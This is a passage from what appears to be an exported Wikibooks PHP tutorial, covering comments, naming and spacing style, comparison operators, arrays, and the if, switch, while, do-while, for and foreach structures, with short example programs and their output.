This kind of comment can go over as many lines as you'd like, and can be used to state what a function[1] or a class[2] does, or just to contain comments too big for one line. To mark the beginning of a multiline comment, use /* and to end it, use */ . For example:

```
/* This is a
multiline comment
And it will close
When I tell it to.
*/
```

You can also use this style of comment to skip over part of a line. For example:

```
$message = ""/*this would not be executed*/;
```

Although it is recommended that one does not use this coding style, as it can be confusing in some editors.

Multi-line Comment Issues

- An unfinished multi-line comment will result in an error, unless it is starting (not closing) within an already existing multi-line comment block (i.e., it is non-greedy but only operates first on a complete open and close set)
  - The following will result in an error:

```
    /* test */ */
```

  - The following will not result in an error:

```
    /* test /* */
```

- Thus, these multi-line comments cannot be nested (the first block up to ”ending first comments” will be commented out, but the following */ will not have any opening /*for it). The following will therefore cause an error:

```
/*
Starting first comments
/*
Starting Nested comments
Ending nested comments
*/
Ending first comments
*/
```

1 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/functions&action=edit&redlink=1

2 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/Classes&action=edit&redlink=1

- One can quickly toggle multiple blocks at a time by combining the styles (though this may not work show as such correctly in a text editor)

Original text with nothing commented out (thus printing ”block one block two”:

```
<?php
//*
print "block ";
print "one ";
// */
print "block ";
print "two";
?>
```

After taking out a / on the first line, the first block is commented out, printing only ”block two”:

```
<?php
/*
print "block ";
print "one ";
// */
print "block ";
print "two";
?>
```

Since the single line // overrides the multi-line /* .. */ two blocks of code can be switched at the same time back and forth into or out of comment mode.

Original text (printing out only ”block one”)

```
<?php
//*
print "block";
print "one";
/*/
print "block";
print "two";
// */
?>
```

After taking out a / on the first line, the first block is commented out and the second block is uncommented, printing out only ”block two”:

```
<?php
/*
print "block";
print "one";
/*/
print "block";
print "two";
// */
?>
```

- phpdoc.org/HTMLSmartyConverter/HandS/phpDocumentor/tutorial_tags.pkg.html
  PHPDocumentor uses multiline comments (albeit with the opening immediately followed by an additional asterisk ”/**”) and other standardized tags within the comment block to create its automatic documentation. See the website for additional instructions. For example:

```
<?php
/**
 * This is my new fancy code...
 * @author Dr. Who
 * @version 1.0
 */
?>
```

8.1.3 Issues with Either Single or Multi-line Comments

When using multi-line comments with the typical "/" as delimiters in a regular expression[3], it is possible there will be a conflict, as an asterisk at the end of the expression (along with the closing "/" delimiter) could create something that would be parsed as a closer of the comments, thus leaving the succeeding "*/" without an opener:

```
<?php
/*
$subject = "Hi Joe";
$matching = preg_match($subject, '/^Hi.*/');
*/

?>
```

To avoid the problem, one could:

- Use other regular expression delimiters–delimiters that may be less frequently encountered (and thus also in need of escaping) in most circumstances anyhow (e.g., "@" besides for email matching may be less frequent than "/")
- Use an "if" with an impossible conditional that can:

Avoid regular expression conflicts:

```
<?php

if (0) {
  $subject = "Hi Joe";
  $matching = preg_match($subject, '/^Hi.*/');
}

?>
```

and also avoid nesting problems:

```
<?php

if (0) {

  if (0) {
    print "Hi ";
  }

  print "Bob";
}
```

3 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/Regular_expressions&action=edit&redlink=1

```
?>
```

One disadvantage of the ”if” method, however, is that it will most likely not be recognized by text editors as far as code coloring (though this may be an advantage for debugging, if one wishes to see more clearly what is inside the commented out block while running tests on the code).

8.2 Styles

The PHP coding styles are defined in the PHP Standard Recommendation[4].

8.2.1 Naming

Naming your variables, functions and classes correctly is very important to understand the program. By convention, it should be done in camelCase[5] and without any abbreviation.

If you define the following variables:

```
$var1 = "PHP";
$var2 = 15;
```

They won't say much to anyone. But if you do it like this:

```
$programmingLanguage = "PHP";
$menuItems = 15;
```

It would be much clearer. But don't go too far. *$programmingLanguage*, for example is not a good name. It's too long, and will take you a lot of time to type and can affect clarity. A better name may be *$progLanguage*, because it's shorter but still understandable. A good naming should avoid to write a comment to mark what every variable does.

For instance, these comments are encumbering the script and should be removed:

```
// The programming language used to write this script
$progLanguage = "PHP";

// The maximum number of items allowed in your personal menu
$maxMenuItems = 15;
```

Magic numbers

When using numbers in a program it is important that they have a clear meaning. For instance it's better to define *$menu_ items* early on instead of using *15* repeatedly without telling people what it stands for. The major exception to this is the number 1; often programmers have to add or subtract 1 from some other number to avoid off-by-one errors, so 1 can be used without definition.

4 https://en.wikipedia.org/wiki/PHP_Standard_Recommendation
5 https://en.wikipedia.org/wiki/camelCase

When you define numbers early on in their usage it also makes it easier to adjust the values later. Again if we have 15 menu items and we refer to them ten times, it will be a lot easier to adjust the program when we add a 16th menu item; just correct the variable definition and you have updated the code in 10 places.

8.2.2 Spacing

PHP ignores extra spaces and lines. This means, that even though you could write code like this:

```
if ($var == 1) {echo "Good";} else {echo "Bad";}
```

It's better like this, which is the PSR-2 form[1]:

```
if ($var == 1) {
  echo "Good";
} else {
  echo "Bad";
}
```

Some programmers prefer this way of writing:

```
if ($var == 1)
{
  echo "Good";
}
else
{
  echo "Bad";
}
```

You should also use blank lines between different portions of your script. Instead of

```
$var = 1;
echo "Welcome!&lt;br /&gt;";
echo "How are you today?&lt;br /&gt;";
echo "The answer: ";

if ($var == 1) {
  echo "Good";
} else {
  echo "Bad";
}
```

You could write:

```
$var = 1;

echo "Welcome!&lt;br /&gt;";
echo "How are you today?&lt;br /&gt;";

echo "The answer: ";

if ($var == 1) {
  echo "Good";
} else {
  echo "Bad";
}
```

And the reader will understand that your script first declares a variable, then welcomes the user, and then checks the variable.

8.3 The directives

It's possible to define certain PHP compiling behaviors by some directives written in the command `declare()`.[2] For example:

```
declare(encoding = "UTF-8");
```

8.4 References

1. [6]
2. [7]

6 https://www.php-fig.org/psr/psr-2/
7 http://php.net/manual/en/control-structures.declare.php

9 Comparison operators

The operators for comparison in PHP are the following:

Operator	**Name**	**Returns** `true`, if...
`==`	equal	left & right side equals
`===`	identical	`==` is `true`, and both sides have the same type
`!=`	not equal	left & right are not equal after type juggling
<>	not equal	synonym of `!=`
`!==`	not identical	`!=` is `true`, or their types differ
<>	not equal	synonym of `!=`
<	less than	left side is strictly less than right side
>	greater than	left side is strictly greater than right side
<=	less than or equal to	left side is less than or equal to right side
>=	greater than or equal to	left side is greater than or equal to right side
<=>	spaceship	integer less than, equal to, or greater than zero when left side is respectively less than, equal to, or greater than right side (≥ PHP 7).
`$a ?? $b ?? $c`	null coalescing	first operand from left to right that exists and is not `NULL`. `NULL`, if no values are defined and that not `NULL` (≥PHP 7).

9.1 Example of comparisons

This example sets and prints arrays.

PHP Code:

```
<?php
$value1 = 5;
$value2 = 7;

if ($value1 == $value2) {
 print('value1 is equal to value2');
} else {
 print('value1 is unequal to value2');
}
?>
```

PHP Output:

```
value1 is unequal to value2
```

HTML Render:

value1 is unequal to value2

9.2 External Links

- PHP Manual on Comparison Operators[1]

1 http://php.net/manual/en/language.operators.comparison.php

10 Arrays

Arrays are sets of data that can be defined in a PHP Script. Arrays can contain other arrays inside of them without any restriction (hence building multidimensional arrays). Arrays can be referred to as tables or hashes.

10.1 Syntax

Arrays can be created in two ways. The first involves using the function array. The second involves using square brackets.

10.1.1 The *array* function method

In the *array* function method, you create an array in the scheme of:

```
$foo = bar()
```

For example, to set up the array to make the keys sequential numbers (Example: ”0, 1, 2, 3”), you use:

```
  $foobar = array($foo, $bar);
```

This would produce the array like this:

```
  $foobar[0] = $foo;
  $foobar[1] = $bar;
```

It is also possible to define the key value:

```
$foobar = array('foo' => $foo, 'bar' => $bar);
```

This would set the array like this:

```
  $foobar['foo'] = $foo;
  $foobar['bar'] = $bar;
```

10.1.2 The square brackets method

The square brackets method allows you to set up by directly setting the values. For example, to make `$foobar[1] = $foo`, all you need to do is:

```
$foobar[1] = $foo;
```

The same applies for setting the key value:

```
$foobar['foo'] = $foo;
```

10.2 Examples of arrays

10.2.1 Example #1

This example sets and prints arrays.

PHP Code:

```
<?php
  $array = ar
ray("name"=>"Toyota","type"=>"Celica","colour"=>"black","manufactured"=>"1991");
  $array2 = array("Toyota","Celica","black","1991");
  $array3 = array("name"=>"Toyota","Celica","colour"=>"black","1991");
  print_r($array);
  print_r($array2);
  print_r($array3);
?>
```

PHP Output:

```
Array
(
  [name] => Toyota
  [type] => Celica
  [colour] => black
  [manufactured] => 1991
)
Array
(
  [0] => Toyota
  [1] => Celica
  [2] => black
  [3] => 1991
)
Array
(
  [name] => Toyota
  [0] => Celica
  [colour] => black
  [1] => 1991
)
```

HTML Render:

Array ([name] => Toyota [type] => Celica [colour] => black [manufactured] => 1991) Array ([0] => Toyota [1] => Celica [2] => black [3] => 1991) Array ([name] => Toyota [0] => Celica [colour] => black [1] => 1991)

10.2.2 Example #2

The following example will output the identical text as **Example #1**[1]:

```
<?php
  $array['name'] = "Toyota";
  $array['type'] = "Celica";
  $array['colour'] = "black";
  $array['manufactured'] = "1991";

  $array2[] = "Toyota";
  $array2[] = "Celica";
  $array2[] = "black";
  $array2[] = "1991";

  $array3['name'] = "Toyota";
  $array3[] = "Celica";
  $array3['colour'] = "black";
  $array3[] = "1991";

  print_r($array);
  print_r($array2);
  print_r($array3);
?>
```

10.2.3 Example #3

Using the *Example #1* and **Example #2** above, now you can try and use arrays the same way as normal variables:

PHP Code:

```
<?php
  echo "Manufacturer: {$array['name']} \n";
  echo "Brand: &lt;b&gt;{$array2['1']}&lt;/b&gt;&lt;br /&gt;\n";
  echo "Colour: &lt;b&gt;".$array3['colour']."&lt;/b&gt;&lt;br /&gt;\n";
  echo "Year Manufactured: &lt;b&gt;".$array3[1]."&lt;/b&gt;&lt;br /&gt;\n"
?>
```

PHP Output:

```
Manufacturer: <b>Toyota</b><br />
 Brand: <b>Celica</b><br />
 Colour: <b>black</b><br />
 Year Manufactured: <b>1991</b><br />
```

HTML Render:

Manufacturer: **Toyota**
Brand: **Celica**
Colour: **black**
Year Manufactured: **1991**

1 #Example_#1

10.3 Multidimensional arrays

Elements in an array can also be an array, allowing for multidimensional arrays. An example, in accordance with the motoring examples above, is:

```
<?php
$cars = array(
  "car1" => array("make" => "Toyota","colour" => "Green","year" =>
 1999,"engine_cc" => 1998),
  "car2" => array("make" => "BMW","colour" => "RED","year" => 2005,"engine_cc"
 => 2400),
  "car3" => array("make" => "Renault","colour" => "White","year" =>
 1993,"engine_cc" => 1395),
);
?>
```

In this example, if you were to use:

```
<?php
  echo "$cars['car1']['make']<br>";
  echo "$cars['car3']['engine_cc']";
?>
```

The output would be:

```
Toyota

1395
```

10.4 Array functions

There are dozens of array manipulation functions. Before implementing your own, make sure it doesn't already exist as a PHP function in Array functions (PHP manual entry)[2].

10.4.1 Sorting

Examples:

```
$array = array("name"=>"Toyota", "type"=>"Celica", "colour"=>"black",
 "manufactured"=>"1991");

array_multisort($array, SORT_ASC);
var_dump($array);
// array(4) { ["manufactured"]=> string(4) "1991" ["type"]=> string(6) "Celica"
 ["name"]=> string(6) "Toyota" ["colour"]=> string(5) "black" }
// The upper cases are sorted before the lowercases.

arsort($array);
var_dump($array);
// array(4) { ["colour"]=> string(5) "black" ["name"]=> string(6) "Toyota"
 ["type"]=> string(6) "Celica" ["manufactured"]=> string(4) "1991" }

asort($array);
var_dump($array);
// array(4) { ["manufactured"]=> string(4) "1991" ["type"]=> string(6) "Celica"
```

2 http://php.net/manual/en/ref.array.php

```
 ["name"]=> string(6) "Toyota" ["colour"]=> string(5) "black" }

sort($array);
var_dump($array);
// array(4) { [0]=> string(4) "1991" [1]=> string(6) "Celica" [2]=> string(6)
 "Toyota" [3]=> string(5) "black" }
```

10.5 Array traversal

In various circumstances, you will need to visit every array element and perform a task upon it.

The simplest and the most widely used method for this is the **foreach**[3] operator that loops through the whole array and works individually with each key/item couple. If a more complex way of traversing the array is needed, the following functions operate using the internal array pointer:

- *reset* - sets the internal pointer to the first element and returns the first element
- *prev* - sets the internal pointer to the previous element and returns it
- *current* - returns the current element; does not change the internal pointer
- *next* - sets the internal pointer to the next element and returns it
- *each* - returns the current element; then sets the internal pointer to the next element
- *end* - sets the internal pointer to the last element and returns the last element

```
<?php
// Using an array's iterator to print its values in reverse order
$my_array = array('a', 'b', 'c');
end($my_array);
while ($i = current($my_array)) {
  echo $i."\n";
  prev($my_array);
}
?>
```

Another possibility is defining a function and applying it to each array element via one of the following functions:

- *array_ walk* - applies a function to each array element
- *array_ walk_ recursive* - same, but if the element is itself an array, it will traverse that array too

10.6 External links

- PHP Manual on Array functions[4]
- PHP Manual on Arrays[5]

3 https://en.wikibooks.org/wiki/Programming:PHP:foreach_loop
4 http://www.php.net/manual/en/ref.array.php
5 http://www.php.net/manual/en/language.types.array.php

11 The if Structure

11.1 Conditional Structures

11.1.1 The `if` statement

Conditional structures are used to control which statements get executed. They are composed of three fundamental elements:

- `if` statements;
- `elseif` statements; and
- `if else` statements.

Conditionals in PHP are structured similarly to those found in C++[1] and Java[2]. The structure begins with an `if` clause, which is composed of the word "`if`" followed by a `true`/`false` statement in parentheses `( )`. The subsequent code will be contained in a block, denoted by curly braces `{ }`. Sometimes the braces are omitted, and only one line will follow the `if` statement. `elseif` and `else` clauses sometimes occur after the `if` clause to test for different statements.

The `if` clause says "If this statement is true, I want the program to execute the following statements. If it is false, then ignore these statements." In technical terms, it works like this: When an `if` statement is encountered, the `true`/`false` statement in parentheses is evaluated. If the statement is found to be true, the subsequent block of code contained in curly braces is executed. However, if the statement is found to be false, the program skips those lines and executes the next non-blank line.

Following the `if` clause are two optional clauses: `else` and `elseif`. The `elseif` (or `else if`) clause says "If the last statement was false, let's see, if this statement is true. If it is, execute the following code. If it isn't, then skip it." `elseif` statements are only evaluated when the preceding `if` statement comes out to be false. Otherwise they are skipped. Other than that, the `elseif` clause works just like a regular `if` clause. If it is true, its block is executed, if not, its block is skipped.

Finally, the `else` clause serves as a "catch-all" for an `if` statement. Essentially the `else` statement says "If all of the preceding tests fail, then execute this code."

11.1.2 Example 1

```
<?php
$foo = 1;
$bar = 2;
```

1 https://en.wikibooks.org/wiki/C%2B%2B_Programming
2 https://en.wikibooks.org/wiki/Programming:Java

```
if ($foo == $bar) {
  echo "$foo is equal to $bar.";
} elseif ($foo > $bar) {
  echo "$foo is greater than $bar.";
} else {
  echo "$foo is less than $bar.";
}
?>
```

11.1.3 Example 2

```
<?php
$lower = 10;
$upper = 100;
$needle = 25;
if (($needle >= $lower) && ($needle <= $upper)) {
  echo "The needle is in the haystack.";
} elseif (($needle <= $lower) || ($needle >= $upper)) {
  echo "The needle is outside of the haystack.";
}
?>
```

11.1.4 Conditional expressions

Conditional values function via basic formal logic. It is important to understand how the `if` clause, among other clauses, evaluates these conditional values.

It is easiest to examine such with *`boolean`* values in mind, meaning that the result of a conditional value will be either TRUE or FALSE and not both. For example, if variable `$x = 4`, and a conditional structure is called with the expression `if ($x == 4)`, then the result of the expression will be TRUE, and the `if` structure will execute. However, if the expression is `($x == 0)`, then the result will be FALSE, and the code will not execute. This is simple enough.

This becomes more complicated when complex expressions are considered. The two basic operators that expressions can be conjoined with are the **AND** (&&) and **OR** (||).

Examples

We are given variables `$x` and `$y`.

```
$x = 4;
$y = 8;
```

Given the complex expression:

```
($x == 4 AND $y == 8)
```

We are given a result of TRUE, because the result of both separate expressions are true. When expressions are joined with the AND operator, both sides *must be* true for the whole expression to be true.

Similarly:

```
($x == 4 OR $y == 8)
```

We are given a result of `TRUE` as well, because at least one expression is true. When expressions are joined with the OR operator, at least one side *must be* true for the whole expression to be true.

Conversely,

```
($x == 4 AND $y == 10)
```

This expression will return `FALSE`, because at least one expression in the whole is false.

However,

```
($x == 4 OR $y == 10)
```

This expression will return `TRUE`, because at least one expression in the whole is true.

11.1.5 Code Blocks

A code block is one or more statements or commands that are contained between a pair of curly braces `{ }`. Blocks are used primarily in loops, conditionals and functions. Blocks can be nested inside one another, for instance as an `if` structure inside of a loop inside of a function.

If, after one of the conditional statements, there is no block of code enclosed by curly braces, only the next statement will be executed. It is recommended that you avoid using this to help prevent accidents when adding extra code after the block.

The following code will not work as intended:

```
if (FALSE)
  echo 'FALSE evaluates to true.';
  echo 'Who knew that FALSE was TRUE?';
```

The second `echo` statement was executed, despite the `if` clause. The lack of brackets caused the if statement to only apply to the first statement, making the second statement evaluate regardless of the outcome of the `if` statement.

To avoid this problem, make sure to use brackets with conditional statements, even if there is only a single line of code to be executed. This prevents the error in the above code from occurring when you add an extra line after the existing block.


This code fixes the previous bug.

```
if (FALSE) {
  echo 'FALSE evaluates to true.';
  echo 'Who knew that FALSE was TRUE?';
}
```

The second **echo** statement should never be executed in this snippet.

11.1.6 Shorthand notation

If you are writing a long sentence where there are some parts non-static, you may create the string using if statement. The PHP syntax allows you to do this even within one line, using following shortcut syntax:


This code uses the shorthand syntax within a line.

```
$money = 535; # $

print 'I have' . ($money > 500 ? '' : 'n't') . ' enough money.';
```

The code "finds out" that I have enough money. That's good news!

11.2 For more information

- PHP Manual: Control Structures.[3]

3 http://www.php.net/manual/en/language.control-structures.php

12 The switch Structure

12.1 Switch cases

12.1.1 How they work

Here's an example of a simple game where a user enters a $user_command and different functions are run as a result:

```
if ($user_command == "n") {
  go_north();
} else if ($user_command == "e") {
  go_east();
} else if ($user_command == "s") {
  go_south();
} else if ($user_command == "w") {
  go_west();
} else {
  do_something_else();
}
```

Clearly, there's a lot of repeated code here. The switch case structure allows you to avoid this redundant code. It allows programmers to repeatedly compare the value of a certain variable to a list of possible values and execute code based on the result. This is the syntax for a switch case statement, compared to the same code written using if statements:

if statement style

```
if ($firstvariable == 'comparison1'
    || $firstvariable == 'comparison2') {

  doSomething();
  doSomethingElse();
} else if ($firstvariable == 'comparison3') {
  doAThirdThing();
} else {
  launchMissiles();
}
```

switch case style

```
// Look at how much switch case saves you!
switch($firstvariable) {
  case 'comparison1':
  case 'comparison2':
    doSomething();
    doSomethingElse();
    break;

  case 'comparison3':
    doAThirdThing();
    break;

  default:
    launchMissiles();
    break;
}
```

The switch case style will save you from retyping $firstvariable, and make your code look cleaner (especially, if that code is a long chain of simple if statements). Returning to our zorkmid sample program, we have:

Original Code

Switch-Case Code

```
if ($user_command == "n") {
  go_north();
} else if ($user_command == "e") {
  go_east();
} else if ($user_command == "s") {
  go_south();
} else if ($user_command == "w") {
  go_west();
} else {
  do_something_else();
}
```

```
switch($user_command) {
  case 'n':
    go_north();
    break;
  case 'e':
    go_east();
    break;
  case 's':
    go_south();
    break;
  case 'w':
    go_west();
    break;
  default:
    do_something_else();
    break;
}
```

12.1.2 Syntax

```
switch($var) {
  case [value]:
    [code]
    break;

  case [value]:
    [code]
    break;

  ...

  default:
    [code]
    break;
}
```

In this example, $var is the first variable to be compared. This variable is then compared against each case statement from the top down, until it finds a match. At that point, the code will execute until a break statement is reached (that will allow you to leave the case statement entirely).

12.1.3 Important warning about using switch case statements

Don't forget to use break when you mean break! If you forget, you might run functions you don't intend to. However, there are circumstances where leaving breaks out can be useful. Consider this example:

```
switch ($n) {
  case 0:
  case 1:
  case 2:
    //only executes, if $n is 0, 1 or 2
    doSomethingForNumbers2OrSmaller();
    break;
  case 3:
    //only executes, if $n is 3
```

```
    doSomethingForNumber3();
  default:
    //only executes, if $n is 3 or above
    doSomethingForNumbers3OrBigger();
    break;
}
```

This kind of coding is sometimes frowned upon, since it's not always as clear to see what the code is meant to do. Also, consider commenting case statements that aren't supposed to have a break; statement before the next case, so when others look at your code, they know not to add a break. In such a case, it is good programming practice to add comments to breakless cases so that it is clear that the break has been omitted deliberately:

```
switch ($n) {
  case 0:
    // Falls through!
  case 1:
    doSomethingForLargeNumbers();
    // Falls through!
  case 2:
    doSomethingForSmallerNumbers();
    break;
  …
}
```

12.2 For more information

- PHP Manual: SWITCH Control Structure[1]

1 http://www.php.net/manual/en/control-structures.switch.php

13 The while Loop

13.1 The code

13.1.1 Example 1

```
<?php
$c = 0;
while ($c < 5) {
  echo $c++;
}
?>
```

13.1.2 Example 2

```
<?php
$myName="Fred";
while ($myName!="Rumpel") {
  if ($myName=="Fred") {
    $myName="Leslie";
  } else {
    $myName="Rumpel";
  }
}
echo "How did you know?\n";
?>
```

13.2 Analysis

13.2.1 Example 1

This is an example that prints the numbers from `0` to `4`. $c starts out as 0. When the while loop is encountered, the expression `$c < 5` is evaluated for truth. If it is true, it executes what is in the curly braces. The echo statement will print `0`, and then add one to `$c`. The program will then go back to the top of the loop and check the expression again. Since it is true again, it will then return 1 and add one to $c. It will keep doing this until `$c` is equal to `5`, where the statement `$c < 5` is false. After that, it finishes.

13.2.2 Example 2

The first line of the program sets `$myName` to "Fred". After that, the while statement checks if `$myName` equals `"Rumpelstiltskin"`. The `!=` means 'does not equal', so the expression is true, and the while loop executes its code block. In the code block an `if` statement (see previous chapter[1]) checks, if it equals Fred. Since it does, it then reassigns `$myName` to equal `"Leslie"`. Then it skips the `else`, since the `if` was true and evaluated. Then it reaches the

1 https://en.wikibooks.org/wiki/Programming:PHP:if_structure

end of the loop, so it goes back and checks if `$myName` does not equal `"Rumpelstiltskin"` . Since it still doesn't, it's true, and then it goes into the loop again. This time, the *if statement* is false, so the else is executed. This sets `$myName` to ”Rumplestiltskin”. We again get to the end of the loop, so it goes back, and checks. Since `$myName` does equal `"Rumpelstiltskin"`, the *while* condition is false, and it skips the loop and continues on, where it echos, ”How did you know?”

13.3 New concepts

13.3.1 Loops

Loops are another important basic programming technique. Loops allow programs to execute the same lines of code repeatedly, this is important for many things in programs. In PHP you often use them to layout tables in HTML and other similar functions.

13.3.2 Infinite Loops

Loops can be very handy, but also very dangerous! **Infinite loops** are loops that fail to exit, causing them to execute until the program is stopped. This is caused when no matter what occurs during the loop, the condition will never become false and therefore never exit. For example, if Example 1 subtracted 1 from `$c`...

```
$c=2;
while ($c < 5) {
  $c--;
  echo $c;
}
```

$c will always be less than 5, no matter what, so the loop will continue forever. This causes problems for those of us who don't have infinite time (or computer memory!). So, in that case, let's learn a handy dandy little bugger.

If you add 'break;' to a loop, the loop will end, no matter whether the condition is false or not.

13.3.3 Parting example

Let's combine the two examples. Before moving on take a few moments to write out the steps this program goes through and what its output is.

```
<?php
$c = 1;
$myName="Fred";
while ($myName != "Rumplestilskin") {
  if ($myName=="Fred") {
    $myName="Leslie";
  } else {
    $myName="Marc";
  }

  $c++;

  if ($c==3) {
```

```
    break;
  }
};
echo "You lose and I get your baby!\n";
?>
```

13.4 For more information

- PHP Manual: Control Structures: while.[2]

2 http://www.php.net/manual/en/control-structures.while.php

14 The do while Loop

14.1 The do while loop

The do while loop is similar in syntax and purpose to the while loop[1]. The do/while loop construct moves the test that continues the loop to the end of the code block. The code is executed at least once, and then the condition is tested. For example:

```
<?php
$c = 6;
do {
  echo 'Hi';
} while ($c < 5);
?>
```

Even though $c is greater than 5, the script will echo ”Hi” to the page one time.

PHP's do/while loop is not commonly used.

1 https://en.wikibooks.org/wiki/Programming:PHP:while_loop

14.1.1 Example

This example will output the factorial[a] of `$number` (product of all the numbers from 1 to it).

PHP Code:

```
$number = 5;
$factorial = 1;
do {
  $factorial *= $number;
  $number = $number - 1;
} while ($number > 0);
echo $factorial;
```

a https://en.wikibooks.org/wiki/Applicable_Mathematics/Counting_Techniques#Factorials

PHP Output:

```
120
```

HTML Render:

120

14.2 The continue statement

The continue statement causes the current iteration of the loop to end, and continues execution where the condition is checked - if this condition is true, it starts the loop again. For example, in the loop statement:

```
<?php
$number = 6;
for ($i = 3; $i >= -3; $i--) {
  if ($i == 0) {
    continue;
  }
  echo $number . " / " . $i . " = " . ($number/$i) . "<br />";
}
?>
```

the statement is not executed when the condition i = 0 is true.

14.3 For More Information

- PHP Manual: Control Structures: do-while[2]

2 http://www.php.net/manual/en/control-structures.do.while.php

15 The for Loop

15.1 The `for` loop

The **for loop** is one of the basic looping structures in most modern programming languages. Like the *while loop*[1], **for loops** execute a given code block until a certain condition is met.

15.1.1 Syntax

The basic syntax of the for loop in PHP is similar to the C[2] syntax:

```
for ([initialization]; [condition]; [step])
```

Initialization happens the first time the loop is run. It is used to initialize variables or perform other actions that are to be performed before the first execution of the body of the loop.

The *condition* is evaluated before each execution of the body of the loop; if the condition is true, the body of the loop will be executed, if it is false, the loop is exited and program execution resumes at the first line after the body of the loop.

Step specifies an action that is to be performed after each execution of the loop body.

1 https://en.wikibooks.org/wiki/Programming:PHP:while_loop
2 https://en.wikibooks.org/wiki/C_Programming/Control#For_loops

Consider this example:

PHP Code:

```
for ($i = 0; $i < 5; $i++) {
  echo($i . "&lt;br /&gt;");
}
```

PHP Output:

```
0<br />1<br />2<br />3<br />4<br />
```

HTML Render:

0
1
2
3
4

The loop can also be formatted without using concatenation[3], according to personal preference:

```
for ($i = 0; $i < 5; $i++) {
  echo "$i&lt;br /&gt;";
}
```

15.1.2 Explanation

Within the for loop, it is indicated that `$i` starts as `0`. When the loop runs for the first time, it prints the initial value of `$i`, which in the case of the example is `0`. For every loop, the variable `$i` is increased by one (denoted by the `$i++` incrementing step[4]). When `$i` reaches `5` it is no longer less than `5` and therefore the loop stops.

Do note that the initialisation, condition and step for the for-loop can be left empty. In this case, the loop will continue indefinitely and subsequently a break execution[5] can be utilised to stop the loop.

NOTE: In contrast to other languages like C, C#[6], C++[7], or Java[8], the variable used in the for loop may have been initialised first in the line with the for statement, but it continues to exist after the loop has finished.

3 https://en.wikipedia.org/wiki/concatenation
4 http://php.net/manual/en/language.operators.increment.php
5 http://uk.php.net/manual/en/control-structures.break.php
6 https://en.wikibooks.org/wiki/C_Sharp_Programming/Keywords/for
7 https://en.wikibooks.org/wiki/C%2B%2B_Programming/Programming_Languages/C%2B%2B/Code/Keywords/for
8 https://en.wikibooks.org/wiki/Java_Programming/Loop_blocks

15.2 Using for loops to traverse arrays

In the section on while loops, the sort() example uses a while loop to print out the contents of the array. Generally programmers use **for loops** for this kind of job.

15.2.1 Example

NOTE: Use of indices like below is highly discouraged. Use the key-value for-loop construct.

```
$menu = array("Toast and jam", "Bacon and eggs", "Homefries", "Skillet", "Milk
 and cereal");
// Note to self: get breakfast after writing this article
$count = count($menu);
for ($i = 0; $i < $count; $i++) {
  echo ($i + 1 . ". " . $menu[$i] . "&lt;br /&gt;");
}
```

Again, this can be formatted without concatenation, if you prefer:

```
for ($i = 0; $i < $count; $i++) {
  $j = $i + 1;
  echo "$j. {$menu[$i]}&lt;br /&gt;";
}
```

15.2.2 Explanation

```
$count = count($menu);
```

We define the count before the for loop for more efficient processing. This is because each time the for loop is run (`while $i < $count`) it evaluates both sides of the equation and executes any functions. If we put `$i < count($menu)`, this would evaluate `count($menu)` each time the process is executed, which is costly when dealing with large arrays.

```
for ($i = 0; $i < $count; $i++)
```

This line sets up the loop. It initializes the counter, `$i`, to `0` at the start, adds one every time the loop goes through, and checks that `$i` is less than the size of the array.

This can also be done using a second initialization.

```
for ($i = 0, $count = count($menu); $i < $count; $i++) {
  echo ($i + 1 . ". " . $menu[$i] . "&lt;br /&gt;");
}
```

The echo statement is pretty self-explanatory, except perhaps the bit at the start, where we echo `$i + 1`. We do that because, as you may recall, arrays start at `0` and end at `n - 1` (where `n` is their length), so to get a numbered list starting at one, we have to add one to the counter each time we print it.

Of course, as I mentioned before, both pieces of code produce the following output:

1. Toast and jam ✓
2. Bacon and eggs ✓

3. Homefries ✓
4. Skillet ✓
5. Milk and cereal ✓

Believe it or not, there's actually a way to traverse arrays that requires even *less* typing. (And isn't that the goal?) Check out the **foreach** loop[9] for another way of doing what we did here.

15.3 For more information

- PHP Manual: for loops[10]

9 https://en.wikibooks.org/wiki/Programming:PHP:foreach_loop
10 http://www.php.net/manual/en/control-structures.for.php

16 The foreach Loop

16.1 The code

```
foreach ($array as $someVar) {
  echo ($someVar . "<br />");
}
```

or

```
foreach ($array as $key => $someVar) {
  echo ($key." holds the value ".$someVar."<br />");
}
```

16.2 Analysis

The `foreach` loop is a special form of the standard for loop[1]. The example above will print all the values of `$array`. The `foreach` structure is a convenient way to loop through an array.

16.2.1 Simple foreach statement

Foreach loops are useful when dealing with an array indexed with arbitrary keys (e.g. non-numeric ones):

```
$array = array(
  "1st" => "My House",
  "2nd" => "My Car",
  "3rd" => "My Lab"
);
```

To use the classical `for` structure, you'd have to write:

```
// get all the array keys
$arrayKeys = array_keys($array);
// get amount of values from array
$count = count($array);
// loop through the keys
for ($i = 0; $i < $count; $i++) {
  // get each array value using its key
  echo $array[($arrayKeys[$i])] . "<br />";
}
```

1 https://en.wikibooks.org/wiki/Programming:PHP:for_loop

Basically, an array value can be accessed only from its key: to make sure you get all the values, you first have to make a list of all the existings keys, then grab all the corresponding values. The access to first array value, the previous example does the following steps:

```
$firstKey = $arrayKeys[0];       // which is '1st'
$firstValue = $array[$firstKey]; // which is 'My House' ($array('1st'))
```

The `foreach` structure does all the groundwork for you:

```
foreach ($array as $someVar) {
  echo $someVar . "<br />";
}
```

Note how the latter example is easier to read (and write). Both will output:

```
My House
My Car
My Lab
```

16.2.2 `foreach` with key values

If you need to use the array's keys in the body of your loop, just add the variable as in the following statement. The phrase '`$myKey => $value`' makes the value of the key accessible:

```
foreach ($array as $myKey => $value) {
  // use $myKey
}
```

Note that this is very useful when constructing a dropdown list in HTML. You can use a foreach-loop to have the `$myKey` variable inserted into the `value="..."` part and the `$value` as the actual text.

This form mimics the way we used custom keys for $array elements. It will not only assign the elements of $array to $someVar, but also assign the keys of those elements to $i.

PHP Code:

```
<?php
$array = array("1st" => "My House", "2nd" => "My Car", "3rd" => "My Lab");
foreach ($array as $key => $someVar) {
  echo $key . ": " . $someVar . "<br />\n";
}
?>
```

PHP Output:

```
1st: My House<br />
2nd: My Car<br />
3rd: My Lab<br />
```

HTML Render:

1st: My House
2nd: My Car
3rd: My Lab

Note that, if you change the assigned variable inside the `foreach` loop, the change will not be reflected to the array. Therefore, if you need to change elements of the array you need to change them by using the array key. Example:

```
$array = array(
  "1st" => "My House",
  "2nd" => "My Car",
  "3rd" => "My Lab"
);

foreach ($array as $i => $someVar) {
  // OK
